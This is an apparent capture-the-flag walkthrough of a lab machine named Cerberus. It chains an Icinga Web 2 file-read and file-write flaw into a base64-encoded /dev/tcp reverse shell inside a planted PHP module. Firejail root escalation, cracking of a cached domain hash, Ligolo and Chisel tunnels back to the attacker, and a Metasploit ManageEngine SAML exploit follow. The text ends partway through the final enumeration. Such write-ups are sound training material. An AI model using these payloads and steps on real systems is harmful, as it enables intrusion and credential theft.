
Nmap
We begin with a full TCP port sweep, then a targeted service/version scan of whatever is open:
ports=$(nmap -p- --min-rate=1000 -T4 10.129.232.100 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.129.232.100
PORT STATE SERVICE VERSION
8080/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-open-proxy: Proxy might be redirecting requests
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://icinga.cerberus.local:8080/icingaweb2
Key find: 8080/tcp
serving Apache 2.4.52 and a redirect to:
icinga.cerberus.local cerberus.local
Add hostnames so the vhost resolves properly:
# /etc/hosts
10.129.232.100 icinga.cerberus.local cerberus.local
DNS
Using the target as a DNS server sometimes leaks useful internal names:
└─$ dig +short @10.129.232.100 cerberus.local
10.129.232.100
172.16.22.1
└─$ dig @10.129.232.100 icinga.cerberus.local
; <<>> DiG 9.20.11-4+b1-Debian <<>> @10.129.232.100 icinga.cerberus.local
; (1 server found)
;; global options: +cmd
;; Got answer:
;; WARNING: .local is reserved for Multicast DNS
;; You are currently testing what happens when an mDNS query is leaked to DNS
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 24816
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
;; QUESTION SECTION:
;icinga.cerberus.local. IN A
;; AUTHORITY SECTION:
cerberus.local. 3600 IN SOA dc.cerberus.local. hostmaster.cerberus.local. 531 900 600 86400 3600
;; Query time: 327 msec
;; SERVER: 10.129.232.100#53(10.129.232.100) (UDP)
;; WHEN: Mon Sep 01 11:35:30 NZST 2025
;; MSG SIZE rcvd: 114
Apps often trust their own DNS and reveal internal names (e.g., dc.cerberus.local
) which become useful for later pivoting.
Web App - LFI
Browse to:
http://icinga.cerberus.local:8080/icingaweb2

Icinga Web 2 is known to have LFI paths under its bundled third-party libs. Try reading OS files via a fixed web path that maps to /
on disk:
┌──(kali㉿kali)-[~/Cerberus]
└─$ curl http://icinga.cerberus.local:8080/icingaweb2/lib/icinga/icinga-php-thirdparty/etc/hosts
127.0.0.1 iceinga.cerberus.local iceinga
127.0.1.1 localhost
172.16.22.1 DC.cerberus.local DC cerberus.local
# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
┌──(kali㉿kali)-[~/Cerberus]
└─$ curl http://icinga.cerberus.local:8080/icingaweb2/lib/icinga/icinga-php-thirdparty/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
usbmux:x:107:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
matthew:x:1000:1000:matthew:/home/matthew:/bin/bash
ntp:x:108:113::/nonexistent:/usr/sbin/nologin
sssd:x:109:115:SSSD system user,,,:/var/lib/sss:/usr/sbin/nologin
nagios:x:110:118::/var/lib/nagios:/usr/sbin/nologin
redis:x:111:119::/var/lib/redis:/usr/sbin/nologin
mysql:x:112:120:MySQL Server,,,:/nonexistent:/bin/false
icingadb:x:999:999::/etc/icingadb:/sbin/nologin
Icinga documentation which shows some interesting configuration files.

┌──(kali㉿kali)-[~/Cerberus]
└─$ curl http://icinga.cerberus.local:8080/icingaweb2/lib/icinga/icinga-php-thirdparty/etc/icingaweb2/config.ini
[global]
show_stacktraces = "1"
show_application_state_messages = "1"
config_backend = "db"
config_resource = "icingaweb2"
module_path = "/usr/share/icingaweb2/modules/"
[logging]
log = "syslog"
level = "ERROR"
application = "icingaweb2"
facility = "user"
[themes]
[authentication]
┌──(kali㉿kali)-[~/Cerberus]
└─$ curl http://icinga.cerberus.local:8080/icingaweb2/lib/icinga/icinga-php-thirdparty/etc/icingaweb2/roles.ini
[Administrators]
users = "matthew"
permissions = "*"
groups = "Administrators"
unrestricted = "1"
┌──(kali㉿kali)-[~/Cerberus]
└─$ curl http://icinga.cerberus.local:8080/icingaweb2/lib/icinga/icinga-php-thirdparty/etc/icingaweb2/authentication.ini
[icingaweb2]
backend = "db"
resource = "icingaweb2"
┌──(kali㉿kali)-[~/Cerberus]
└─$ curl http://icinga.cerberus.local:8080/icingaweb2/lib/icinga/icinga-php-thirdparty/etc/icingaweb2/resources.ini
[icingaweb2]
type = "db"
db = "mysql"
host = "localhost"
dbname = "icingaweb2"
username = "matthew"
password = "IcingaWebPassword2023"
use_ssl = "0"
We get database credentials for the Icinga Web 2 backend and a named user (e.g., matthew / IcingaWebPassword2023
). Log in via the web UI to confirm admin rights and the exact Icinga Web 2 version.
To make LFI easier, write a Python script to give us a pseudo shell.
#!/usr/bin/python3
import requests
import os
while True:
file = input("file: ")
url = f"http://icinga.cerberus.local:8080/icingaweb2/lib/icinga/icinga-php-thirdparty{file}"
r = requests.get(url)
print(r.text)

We login as matthew and confirm that the version of Icinga is 2.9.2

We can take note that we are part of the Administrators group within Icinga.

Foothold
The disclosure points out that the User field isn’t properly sanitised when setting up an SSH Resource module. By adding ../
at the start of the path in this field, we can break out of the intended directory and write files elsewhere on the system. We can confirm this behaviour using a local file inclusion (LFI). Let’s give it a try:
http://icinga.cerberus.local:8080/icingaweb2/config/resource#!icingaweb2/config/createresource
To set this up, we head through the menu path: Configuration → Application → Resource → Create a New Resource, and then choose SSH Identity as the Resource Type.
Icinga requires a valid private key to create the resource. If the data we provide isn’t in the expected format, it returns the error: “The given SSH key is invalid.”
At first glance, you might assume that generating a key with ssh-keygen
would be enough. However, Icinga specifically expects an RSA private key created with OpenSSL, not the default format from ssh-keygen
.
So, we’ll generate the correct key using OpenSSL, upload it to Icinga, and then confirm its placement using the LFI.
openssl genrsa -out private-key.pem 1024


We’ve confirmed that arbitrary file writes on the target are possible. Normally, from here you could continue with the steps in the SonarSource article to exploit the NULL byte bug. However, this approach won’t work in our case, as the target system’s OpenSSL library appears to have already been patched against it.
Before moving on, let’s take a closer look at what the NULL byte bug actually involves.
A quick Google search for OpenSSL null byte bug brings up this bug tracker entry, which explains the issue as follows:
It looks like this is assuming a valid cert can not be a valid PHP file, but I am not sure why exactly not? The standard https://datatracker.ietf.org/doc/html/rfc7468#section-5.2 allows arbitrary text before BEGIN and after END lines, and you can easily insert PHP code there. Assuming that if the text is a valid certificate for OpenSSL then it's safe for all other purposes is just not secure.
To test this, we’ll place a small PHP payload at the beginning of the RSA key and then submit it to the same endpoint as before. This time, we’ll save the resulting file to /dev/shm/test1.txt
.


Using the LFI to read back our written file confirms that the process worked as expected. The next challenge is figuring out how to turn this into remote code execution on the target.
Since we already have administrator access in Icinga, one option is to create a custom Icinga module. We can write this module to the filesystem via our path traversal, then update the module path setting in Icinga to point to the location we’ve written to.
When looking at how Icinga modules are structured, the configuration.php
file stands out straight away. According to the tutorial, this file contains the global configuration for a module, meaning it is loaded first when the module is initialised. That makes it an ideal place to include our payload.
We can reuse the same test directory and set the module path to /dev/shm
, which we’ve already confirmed works with our prepending LFI.
# Generate a reverse shell payload
echo "sh -i >& /dev/tcp/10.10.16.141/10001 0>&1" | base64 -w 0
# Place the final output in the Private Key section of the Icinga resource.
<?php
{
system("echo c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTYuMTQxLzEwMDAxIDA+JjEK|base64 -d|bash");
}
?>
-----BEGIN PRIVATE KEY-----
MIICeAIBADANBgkqhkiG9w0BAQEFAASCAmIwggJeAgEAAoGBALp7mMhjIVtrWyl6
QSJUVFduxnrS94TqKUP088rIEybTUiQtoyffRQHIE6GSGV9QtB4D3LsJcWmOcZM8
SXHEUP6FpMFCAhH7Gj0bgtJs8e1lENNvMG7vHNbhWyGjB1bOezWStlVbLIUl+j8t
OSqrb9zeMva6bbfRcPWL2c6b0FLTAgMBAAECgYEAum/xGn5JDi3xsTEhx2GKBPOi
CY+7mK3G3cMarWSECTACklryIF3Oju5p+gGnzixQNyXjWzcgpMidcfc28j+0PFyq
PymGH26a3frQ2A++OkdvLkbl816m1meOjInkvBR7lJ1azidTHgraQndfZcUnaqE8
C5iJ7HS0VP2qT1wYq5kCQQDpUSUxgtSe9PeCHeETwlCpot9YSeEW/IV6i8SZke/B
LWGiemeb4h34XpnfoL2wp3MuSgRikUJVZEZIGqyFBkuXAkEAzJzUhwjmeFOfuv4W
ccXDggohh3vsVA9fWjusSajkGGnReyemDPWu2NZgbO1l0M/EVZH6asAL0zsBSI4d
MRiKJQJAAdRzGDpQdJazQj/9vevuOgZe/hBGRanhWh6yggnU+YzjkSSon15codAM
IObf1fzaOGi4NBWzkXvh2TrsU3bDLQJBAMltltd8jo5kHHoUSvoj6yzoVkuvVl8G
ZyNIXXqCNlJGUgAAbzqQ3lj+6hwxtKrU7n4i4DgY6Us/6iqIJPrBIrUCQQDnRunL
V74w5EeP7JYTMkXUUPKqhEvXH7qBUxvqAx2xKcvz4bLnaXslZBryoisZzJZTWJHx
OXw+DxYnREctUTtL
-----END PRIVATE KEY-----
We now need to update the User
field so that it points to:
../../../../../dev/shm/training/configuration.php

Start the listener for reverse shell:
nc -lvnp 10001
Next, we’ll enable our custom module so it runs automatically. To do this, we first need to adjust Icinga’s configuration.
Head to Configuration → Application → General, then update the Module Path setting to /dev/shm
. Finally, click Save Changes to apply the update.

Now it’s time to enable the module we created. In our example, this is the training module, which can be found under Configuration → Modules.
Once we enable and access the module, we get a working connection.


To upgrade to a better shell, run:
python3 -c 'import pty; pty.spawn("/bin/bash")'
Lateral Movement
Next, let’s check the system for SUID binaries by running:
find / -perm -u=s -type f 2>/dev/null
www-data@icinga:/usr/share/icingaweb2/public$ find / -perm -u=s -type f 2>/dev/null
<aweb2/public$ find / -perm -u=s -type f 2>/dev/null
/usr/sbin/ccreds_chkpwd
/usr/bin/mount
/usr/bin/sudo
/usr/bin/firejail
/usr/bin/chfn
/usr/bin/fusermount3
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/ksu
/usr/bin/pkexec
/usr/bin/chsh
/usr/bin/su
/usr/bin/umount
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/libexec/polkit-agent-helper-1
As another option, we can upload and run LinPEAS to help identify possible privilege escalation paths. From the results, one binary in particular stands out /usr/bin/firejail
as it isn’t a commonly recognised one.

The next step is to check which version of the tool is installed, as this can reveal whether any known exploits apply to it.
firejail --version

Let’s search online for “firejail exploit 0.9.68rc1”. This leads us to a write-up describing the vulnerability, along with a Proof of Concept (PoC).
After downloading the PoC, we simply rename the file from firejoin_py.bin
to firejoin.py
.
An unprivileged user in the system can fake a legit Firejail process by
providing a symlink at /run/firejail/mnt/join that points to a file that
fulfils the requirements listed in the previous section. By creating a
custom user and mount namespace the attacker can create an environment
of its own where mounting tmpfs file systems in arbitrary locations is
possible.
We save the PoC as firejoin.py
, upload it to the target machine, and then run it from our first shell:
chmod +x firejoin.py
./firejoin.py

In the second shell, we take the command shown in the exploit’s output and run it to complete the process.
firejail --join=1474

With that, we’ve successfully gained root access on the target.
Container Breakout
As always, we begin with some basic enumeration. Checking the running processes quickly shows that this machine is domain-joined through SSSD. Let’s dig into that further to see if it reveals any useful information.
ps aux | grep root

root 573 0.0 2.3 93916 21188 ? Ss 20:59 0:00 /usr/sbin/sssd -i --logger=files
root 628 0.0 3.4 282620 30364 ? Ss 20:59 0:00 php-fpm: master process (/etc/php/7.4/fpm/php-fpm.conf)
root 673 0.0 0.5 7144 5108 ? Ss 20:59 0:00 /usr/sbin/apache2 -k start
root 868 0.0 2.6 98216 23484 ? S 20:59 0:00 /usr/libexec/sssd/sssd_be --domain cerberus.local --uid 0 --gid 0 --logger=files
root 958 0.0 5.6 109656 50164 ? S 20:59 0:00 /usr/libexec/sssd/sssd_nss --uid 0 --gid 0 --logger=files
root 959 0.0 2.3 83344 21144 ? S 20:59 0:00 /usr/libexec/sssd/sssd_pam --uid 0 --gid 0 --logger=files
Inside the /var/lib/sss
directory, we notice that the db
folder holds a number of cache files. These files act as a domain cache database and may contain information about user credentials.
We can inspect one of these files using the strings
command, and then filter out the repeated entries to see if anything useful can be uncovered.
strings cache_cerberus.local.ldb | sort -u | head
root@icinga:/var/lib/sss/db# strings cache_cerberus.local.ldb | sort -u | head
<# strings cache_cerberus.local.ldb | sort -u | head
$6$6LP9gyiXJCovapcy$0qmZTTjp9f2A0e7n4xk0L6ZoeKhhaCNm0VGJnX/Mu608QkliMpIy1FwKZlyUJAZU3FZ3.GQ.4N6bb9pxE3t3T0
&DN=@ATTRIBUTES
&DN=@BASEINFO
&DN=@INDEX:CN:CERBERUS.LOCAL
&DN=@INDEX:CN:CERTMAP
&DN=@INDEX:CN:GROUPS
&DN=@INDEX:CN:RANGES
&DN=@INDEX:CN:SUDORULES
&DN=@INDEX:CN:SYSDB
&DN=@INDEX:CN:USERS
root@icinga:/var/lib/sss/db#
Straight away we uncover a hash, and further inspection of the file points to the user being matthew.
The next step is to try and crack this hash:
hashcat -a 0 -m 1800 hash /usr/share/wordlists/rockyou.txt
$6$6LP9gyiXJCovapcy$0qmZTTjp9f2A0e7n4xk0L6ZoeKhhaCNm0VGJnX/Mu608QkliMpIy1FwKZlyUJAZU3FZ3.GQ.4N6bb9pxE3t3T0:147258369
root@icinga:/var/lib/sss/db# ifconfig
ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.16.22.2 netmask 255.255.255.240 broadcast 172.16.22.15
inet6 fe80::215:5dff:fe5f:e801 prefixlen 64 scopeid 0x20<link>
ether 00:15:5d:5f:e8:01 txqueuelen 1000 (Ethernet)
RX packets 2519 bytes 306872 (306.8 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 2069 bytes 2534382 (2.5 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 2334 bytes 178088 (178.0 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 2334 bytes 178088 (178.0 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Before we can make use of these credentials, we’ll need to configure proper routing.
To do this, we’ll set up the routes using Ligolo-ng.
┌──(kali㉿kali)-[~/Tools]
└─$ sudo ip tuntap add user kali mode tun ligolo
┌──(kali㉿kali)-[~/Tools]
└─$ sudo ip link set ligolo up
┌──(kali㉿kali)-[~/Tools]
└─$ sudo ip route add 172.16.22.0/24 dev ligolo
The first step is to start the Ligolo-ng server, which will act as the listener for our agent connections.
┌──(kali㉿kali)-[~/Tools]
└─$ ./proxy -selfcert
INFO[0000] Loading configuration file ligolo-ng.yaml
WARN[0000] Using default selfcert domain 'ligolo', beware of CTI, SOC and IoC!
INFO[0000] Listening on 0.0.0.0:11601
INFO[0000] Starting Ligolo-ng Web, API URL is set to: http://127.0.0.1:8081
__ _ __
/ / (_)___ _____ / /___ ____ ____ _
/ / / / __ `/ __ \/ / __ \______/ __ \/ __ `/
/ /___/ / /_/ / /_/ / / /_/ /_____/ / / / /_/ /
/_____/_/\__, /\____/_/\____/ /_/ /_/\__, /
/____/ /____/
Made in France ♥ by @Nicocha30!
Version: 0.8.1
ligolo-ng » WARN[0000] Ligolo-ng API is experimental, and should be running behind a reverse-proxy if publicly exposed.
Next, we upload the Ligolo-ng agent to the target machine and use it to establish a connection back to our Ligolo server.
root@icinga:/tmp# ./agent -connect 10.10.16.141:11601 -ignore-cert
./agent -connect 10.10.16.141:11601 -ignore-cert
WARN[0000] warning, certificate validation disabled
INFO[0000] Connection established addr="10.10.16.141:11601"
Once the server receives the incoming connection from the agent, we can go ahead and start the tunnel.
INFO[0282] Agent joined. id=00155d5fe801 name=root@icinga remote="10.129.235.113:49860"
ligolo-ng »
ligolo-ng » session
? Specify a session : 1 - root@icinga - 10.129.235.113:49860 - 00155d5fe801
[Agent : root@icinga] » start
INFO[0290] Starting tunnel to root@icinga (00155d5fe801)
We can quickly scan the 172.16.22.0/24
network and notice that WinRM is open on the domain controller.
└─$ nxc winrm 172.16.22.0/24
WINRM 172.16.22.1 5985 DC [*] Windows 10 / Server 2019 Build 17763 (name:DC) (domain:cerberus.local)
Using Matthew’s credentials in a password spray against the domain controller gives us a successful login.
└─$ nxc winrm 172.16.22.1 -u matthew -p 147258369
WINRM 172.16.22.1 5985 DC [*] Windows 10 / Server 2019 Build 17763 (name:DC) (domain:cerberus.local)
WINRM 172.16.22.1 5985 DC [+] cerberus.local\matthew:147258369 (Pwn3d!)
With valid credentials in hand, we can now use Evil-WinRM to establish access to the target system.
evil-winrm -i 172.16.22.1 -u matthew -p 147258369
└─$ evil-winrm -i 172.16.22.1 -u matthew -p 147258369
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\matthew\Documents>
The user flag is located at:
C:\Users\matthew\Desktop
Privilege Escalation
By checking the listening ports on this target, we can see a few that suggest there are additional services running on the machine.
netstat -ano | select-string LIST
<SNIP>
TCP 0.0.0.0:8888 0.0.0.0:0 LISTENING 5400
TCP 0.0.0.0:9251 0.0.0.0:0 LISTENING 5400
TCP 0.0.0.0:9389 0.0.0.0:0 LISTENING 3116
<SNIP>
Looking up the process IDs tied to these listening ports reveals that they’re being run by Java.
get-process -pid 5400
get-process -pid 3116
*Evil-WinRM* PS C:\Users\matthew\Desktop> get-process -pid 5400
Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName
------- ------ ----- ----- ------ -- -- -----------
1571 62 316160 290660 5400 0 java
*Evil-WinRM* PS C:\Users\matthew\Desktop> get-process -pid 3116
Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName
------- ------ ----- ----- ------ -- -- -----------
486 30 36908 47380 3116 0 Microsoft.ActiveDirectory.WebServices
A quick Google search shows that port 9251 is linked to ADSelfService Plus, an Active Directory management tool developed by ManageEngine.
To access this service, we’ll set up a new SOCKS proxy and then update our /etc/hosts
file so that dc.cerberus.local
resolves to 127.0.0.1
. We can achieve this by using Chisel.
Let’s set up a new SOCS proxy and modify our /etc/hosts
file to point dc.cerberus.local
to 127.0.0.1
so we can access it. We can use chisel for this.
<SNIP>
10.129.232.100 icinga.cerberus.local cerberus.local
127.0.0.1 dc.cerberus.local
We start by running Chisel in server mode on our Kali machine. We’ll configure it to listen on port 6666, and use the --socks5
flag to enable a SOCKS proxy. We also add the --reverse
flag so that traffic is reverse-forwarded back through the server.
┌──(kali㉿kali)-[~/Tools]
└─$ ./chisel server --socks5 -p 6666 --reverse
2025/09/01 12:00:45 server: Reverse tunnelling enabled
2025/09/01 12:00:45 server: Fingerprint rUKf0AenU4R9IilX8SM85jkK6JxDZfl/1xsESr4HhX0=
2025/09/01 12:00:45 server: Listening on http://0.0.0.0:6666
Next, we upload chisel.exe to the target machine and run it in client mode. We configure it to connect back to our server on port 6666, and use the argument R:8888:socks
. This sets up port 8888 on the Chisel server, reverse-forwards the traffic, and designates that port for use as our SOCKS proxy.
*Evil-WinRM* PS C:\Users\matthew\Documents> iwr -uri http://10.10.16.141:8000/chisel.exe -Outfile chisel.exe
*Evil-WinRM* PS C:\Users\matthew\Documents> start-process -filepath .\chisel.exe -args "client 10.10.16.141:6666 R:8888:socks"
On the Chisel server, we can now see that the tunnel has been successfully established.
└─$ ./chisel server --socks5 -p 6666 --reverse
2025/09/01 12:00:45 server: Reverse tunnelling enabled
2025/09/01 12:00:45 server: Fingerprint rUKf0AenU4R9IilX8SM85jkK6JxDZfl/1xsESr4HhX0=
2025/09/01 12:00:45 server: Listening on http://0.0.0.0:6666
2025/09/01 12:10:47 server: session#1: tun: proxy#R:127.0.0.1:8888=>socks: Listening
Next, we update our Proxychains configuration so that it points to the new proxy endpoint we just set up.
sudo nano /etc/proxychains.conf
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks5 127.0.0.1 8888
With FoxyProxy in our browser, we configure it to use the new SOCKS5 proxy at 127.0.0.1:8888
. Once that’s in place, we can browse to:
https://dc.cerberus.local:9251

We can observe that the site performs several redirects, eventually landing on a URL that suggests SAML (Security Assertion Markup Language) authentication is being used in combination with ADFS.
https://dc.cerberus.local/adfs/ls/?SAMLRequest=pVNdb9owFH3fr4j8TuK4CQSLpGKwakh0iyDdw14m49xQS47NbIe2%2F74OHx2bNiZtT5bsc%2B8995zjye1zK4M9GCu0ylEcYhSA4roWapujh%2BpukKHb4t3EslaSHZ127lGt4HsH1gVTa8E4XzfTynYtmDWYveDwsFrm6NG5naVRNJ%2FRMUnjqG%2Bw1FuhouGIZXWM4%2BEYJ5jUfMiGoyTZZA3P2IizmPEmyzakQcHcTxGKuQO1c8OahxzMBkxnQ6k5kxGrGxtJG6FgMc%2FRt1GaJjxtIEk3I988JWwMLB3DDcZNMryJPczaDhbKOqZcjggm6QCPBziuMKYxoZiESUy%2BoqA02mmu5Xuhjnp0RlHNrLBUsRYsdZyup%2FdLSkJMN0eQpR%2BrqhyUn9fVocFe1GA%2BeXSO7pliW%2FigvAgQTOdrkM1JsaCUnUXBl7MNpLfBG6MsPQp%2FffTuxBMVR5%2FoYUET3GnTMne9tr8R9aA5QCkoJ9zLT7Ovl7NzBlDx%2F45Pokv6xTl0vXqLeaml4C%2FBVEr9NDPAnFfUmQ7QX9eMw%2FiXNTtld8BFI6BG0ducU66hPqTch9rBswtmut0xI2zvCzwz7t5UvoTNpFdiBc0%2FKXcVxinve%2Fvr0h9P2tR9LIF7npVhfhFt3Fm43zEqTo9%2F2O%2FH8%2BXfLl4B&RelayState=aHR0cHM6Ly9EQzo5MjUxL3NhbWxMb2dpbi9MT0dJTl9BVVRI

If we take the SAMLRequest
and run it through a URL decoder (for example, using urldecoder.org or the Burp Suite Decoder), we can then feed the result into a SAML decoder such as the one on samltool.com. This produces the underlying XML.

The full XML is:
<?xml version="1.0" encoding="UTF-8"?>
<saml2p:AuthnRequest AssertionConsumerServiceURL="https://DC:9251/samlLogin/67a8d101690402dc6a6744b8fc8a7ca1acf88b2f" Destination="https://dc.cerberus.local/adfs/ls/" ID="_7554c5fe45b7c6a52a9ea59e300f4631" IssueInstant="2025-09-01T00:12:02.412Z" ProtocolBinding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST" ProviderName="ManageEngine ADSelfService Plus" Version="2.0" xmlns:saml2p="urn:oasis:names:tc:SAML:2.0:protocol"><saml2:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity" xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">https://DC:9251/samlLogin/67a8d101690402dc6a6744b8fc8a7ca1acf88b2f</saml2:Issuer><saml2p:NameIDPolicy AllowCreate="true" Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified"/><saml2p:RequestedAuthnContext Comparison="exact"><saml2:AuthnContextClassRef xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml2:AuthnContextClassRef></saml2p:RequestedAuthnContext></saml2p:AuthnRequest>
The decoded output reveals details about the SAML assertion, along with a GUID value:
67a8d101690402dc6a6744b8fc8a7ca1acf88b2f
A quick Google search for adselfservice plus saml exploit
brings us to a Rapid7 write-up. This details a vulnerability and provides a ready-made Metasploit module for it.
Let’s go ahead and make use of this module in Metasploit.
└─$ msfconsole -q
msf6 > use exploit/multi/http/manageengine_adselfservice_plus_saml_rce_cve_2022_47966
[*] Using configured payload cmd/windows/powershell/meterpreter/reverse_tcp
msf6 exploit(multi/http/manageengine_adselfservice_plus_saml_rce_cve_2022_47966) > show options
Module options (exploit/multi/http/manageengine_adselfservice_plus_saml_rce_cve_2022_47966):
Name Current Setting Required Description
---- --------------- -------- -----------
GUID yes The SAML endpoint GUID
ISSUER_URL yes The Issuer URL used by the Identity Provider which has been configured as the SAML authentication provider for the target server
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks5, socks5h, sapni, http, socks4
RELAY_STATE no The Relay State. Default is "http(s)://<rhost>:<rport>/samlLogin/LoginAuth"
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 9251 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI /samlLogin yes The SAML endpoint URL
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
Payload options (cmd/windows/powershell/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
1 Windows Command
View the full module info with the info, or info -d command.
The module requires both a GUID
and an ISSUER_URL
. We already have the GUID, but we’re still missing the Issuer URL, so we’ll need to continue our enumeration to uncover it.
ISSUER URL
A quick Google search for ADFS issuer URL gives us an idea of what the format should look like.

We can also check the directory:
C:\Program Files (x86)\ManageEngine\ADSelfService Plus\backup
*Evil-WinRM* PS C:\Program Files (x86)\ManageEngine\ADSelfService Plus\Backup> ls
Directory: C:\Program Files (x86)\ManageEngine\ADSelfService Plus\Backup
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 5/16/2025 10:14 PM 636500 250516-221358.ezip
-a---- 2/15/2023 7:16 AM 320225 OfflineBackup_20230214064809.ezip
We can grab the backup file using Evil-WinRM’s download
feature and then try to extract it with 7-Zip. However, the extraction fails because the archive is password protected.
*Evil-WinRM* PS C:\Program Files (x86)\ManageEngine\ADSelfService Plus\Backup> download OfflineBackup_20230214064809.ezip
Info: Downloading C:\Program Files (x86)\ManageEngine\ADSelfService Plus\Backup\OfflineBackup_20230214064809.ezip to OfflineBackup_20230214064809.ezip
Info: Download successful!
┌──(kali㉿kali)-[~/Cerberus]
└─$ mkdir Backup && cd Backup
┌──(kali㉿kali)-[~/Cerberus/Backup]
└─$ mv ~/Cerberus/OfflineBackup_20230214064809.ezip .
┌──(kali㉿kali)-[~/Cerberus/Backup]
└─$ 7z x OfflineBackup_20230214064809.ezip
7-Zip 25.01 (x64) : Copyright (c) 1999-2025 Igor Pavlov : 2025-08-03
64-bit locale=en_US.UTF-8 Threads:32 OPEN_MAX:1024, ASM
Scanning the drive for archives:
1 file, 320225 bytes (313 KiB)
Extracting archive: OfflineBackup_20230214064809.ezip
--
Path = OfflineBackup_20230214064809.ezip
Type = 7z
Physical Size = 320225
Headers Size = 8337
Method = LZMA2:3m 7zAES
Solid = +
Blocks = 1
Enter password (will not be echoed):
A quick Google search for “adselfservice backup zip default password” shows that the default password is simply the filename written in reverse.

We can reverse the filename string with a simple Python one-liner:
└─$ python -c 'print("OfflineBackup_20230214064809"[::-1])'
90846041203202_pukcaBenilffO
The password works, and we’re able to extract the archive, revealing a total of 979 files.
└─$ 7z x OfflineBackup_20230214064809.ezip
7-Zip 25.01 (x64) : Copyright (c) 1999-2025 Igor Pavlov : 2025-08-03
64-bit locale=en_US.UTF-8 Threads:32 OPEN_MAX:1024, ASM
Scanning the drive for archives:
1 file, 320225 bytes (313 KiB)
Extracting archive: OfflineBackup_20230214064809.ezip
--
Path = OfflineBackup_20230214064809.ezip
Type = 7z
Physical Size = 320225
Headers Size = 8337
Method = LZMA2:3m 7zAES
Solid = +
Blocks = 1
Enter password (will not be echoed):
Everything is Ok
Files: 979
Size: 2559925
Compressed: 320225
We can now run a quick grep
search through the extracted files to locate the issuer_url.
